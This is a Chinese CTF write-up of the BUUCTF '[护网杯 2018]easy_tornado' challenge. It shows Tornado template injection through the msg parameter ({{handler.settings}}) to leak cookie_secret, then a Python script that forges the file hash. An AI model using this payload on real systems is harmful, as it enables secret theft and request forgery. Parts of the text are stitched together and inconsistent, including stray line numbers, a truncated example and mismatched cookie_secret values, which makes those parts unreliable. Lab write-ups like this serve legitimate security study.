buuctf-web-3
[护网杯 2018]easy_tornado
tornado模板注入。
[护网杯 2018]easy_tornado
打开题目
分别打开三个文件查看
flag.txt flag in /fllllllllllllag
Welcome.txt render
Hints.txt md5(cookie_secret+md5(filename))
百度一下render
tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}`进行传递变量和执行简单的表达式。
由此可知:render是一个类似模板的东西,可以使用不同的参数来访问网页。Render是存在模板注入的。
hint.txt,给我们了一个计算公式:md5(cookie_secret+md5(filename))
看来需要按照这个公式计算出对应正确的filehash,并且按照这种格式访问url,就可以得到flag。
那么问题来了,文件名知道,md5函数可以调用,这个cookie_secret怎么得到呢?这时候注意到我们还有一个线索没有使用:render,模板注入!
尝试直接把文件名改成fllllllllllllag,报错了。
![](https://ae01.alicdn.com/kf/U0a8a3f428efb417c9056174aea3384abH.jpg)
看这个错误页面还有一个参数呢!把参数值随便修改一下,发现显示出来的内容也会随之变化:
![](https://ae01.alicdn.com/kf/U11df5b0f2bac44108646145f7e1e3326p.jpg)
可见页面返回的由msg的值决定,修改msg的值形成注入,我们可以由此获得环境变量
![](https://ae01.alicdn.com/kf/U6a979d46532f43b389913ec2461fe6b7u.jpg)
由此得到cookie_secret
所以只需要计算出/fllllllllllllag的md5值即可
进行传递变量和执行简单的表达式。1
2
3
4
5
6
7
8
9import hashlib
hash = hashlib.md5()
filename='/fllllllllllllag'
cookie_secret="29da21c4-2598-41f6-9c7b-462160a552f8"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
简单的理解例子如下:
1 | import tornado.ioloop |
由上面可知:render是一个类似模板的东西,可以使用不同的参数来访问网页
在tornado模板中,存在一些可以访问的快速对象,例如
{{ escape(handler.settings["cookie"]) }}
这两个{{}}`和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret
看题目的错误页面
![](https://ae01.alicdn.com/kf/U0a8a3f428efb417c9056174aea3384abH.jpg)
可见页面返回的由msg的值决定,修改msg的值形成注入,获得环境变量
`?msg={{handler.settings}}
(见上面灰色高显部分)
页面回显环境变量{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r'}
得到cookie_secret